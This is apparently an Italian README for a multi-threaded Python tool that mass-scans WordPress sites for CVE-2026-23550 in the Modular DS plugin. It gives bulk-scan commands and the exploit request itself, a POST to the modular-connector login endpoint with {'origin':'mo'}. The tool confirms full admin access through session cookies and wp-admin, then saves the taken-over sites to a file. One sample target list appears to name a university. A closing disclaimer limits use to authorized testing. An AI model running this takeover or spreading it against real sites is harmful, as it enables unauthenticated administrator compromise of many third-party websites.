🔥 CVE-2026-23550 Scanner Modulare DS

Scanner Python multi-thread per CVE-2026-23550 (CVSS 10.0) vulnerabilità del plugin WordPress Modular DS ≤2.5.1 che colpisce oltre 40.000 siti. Rileva il takeover admin non autenticato tramite bypass di getLogin() con verifica completa dell'accesso a wp-admin. Funzionalità ✨

🔥 Rilevamento completo accesso admin (cookie + verifica wp-admin)

⚡ Multi-threading (fino a 50+ target concorrenti)

📊 Barra di avanzamento animata con rich

🎨 Tabella riepilogativa colorata

💾 Salvataggio automatico dei target vulnerabili su file

🚀 Timeout e gestione errori pronti per la produzione

Installazione 🚀

bash pip3 install requests rich chmod +x modular_ds.py

Utilizzo 📋

bash

Scansione di massa (50 thread)

python3 modular_ds.py -l targets.txt -t 50 -o bounty_vulns.txt

Ricognizione bug bounty

python3 modular_ds.py -l univ-oran1.txt -t 20

Predefinito (20 thread, output vulns.txt)

python3 modular_ds.py -l targets.txt

Formato targets.txt:

text https://target1.com http://site2.com

Salta commenti

https://sub.domain.tld

Argomenti Flag Descrizione Predefinito -l, --list Obbligatorio File dei target (1 URL/riga) - -t, --threads Thread concorrenti massimi 20 -o, --output File di output dei target vulnerabili vulns.txt Output di Esempio 🖥️

text 🔥 CVE-2026-23550 Scanner Modulare DS 🔥 Target: 247 | Thread: 50 | Output: bounty_vulns.txt

⠋ Scansione Modular DS... 127/247 (51%) ✅ VULNERABILE: https://target.com 🔥 ACCESSO ADMIN COMPLETO: target.com

┌─────────────┬─────────────────────────────────────┬────────────┐ │ Stato │ Target │ Dettagli │ ├─────────────┼─────────────────────────────────────┼────────────┤ │ 🔥 COMPLETO │ https://target.com │ 3 cookie │ └─────────────┴─────────────────────────────────────┴────────────┘

💾 4 target vulnerabili → bounty_vulns.txt

Logica di Rilevamento 🔍

text

1. POST /wp-content/plugins/modular-ds/api/modular-connector/login {"origin":"mo"}
2. ✅ Controlla cookie admin wordpress_logged_in_*
3. ✅ Verifica accesso dashboard /wp-admin/
4. 💾 Salva target con ACCESSO ADMIN COMPLETO confermato

Uso Legale ed Etico ⚖️

text ⚠️ STRETTAMENTE PER: ✅ Penetration testing autorizzato ✅ Programmi bug bounty
✅ Laboratori di ricerca sulla sicurezza ✅ Infrastruttura di proprietà

❌ MAI utilizzare su target non autorizzati

Requisiti 📦

text requests>=2.31.0 rich>=13.0.0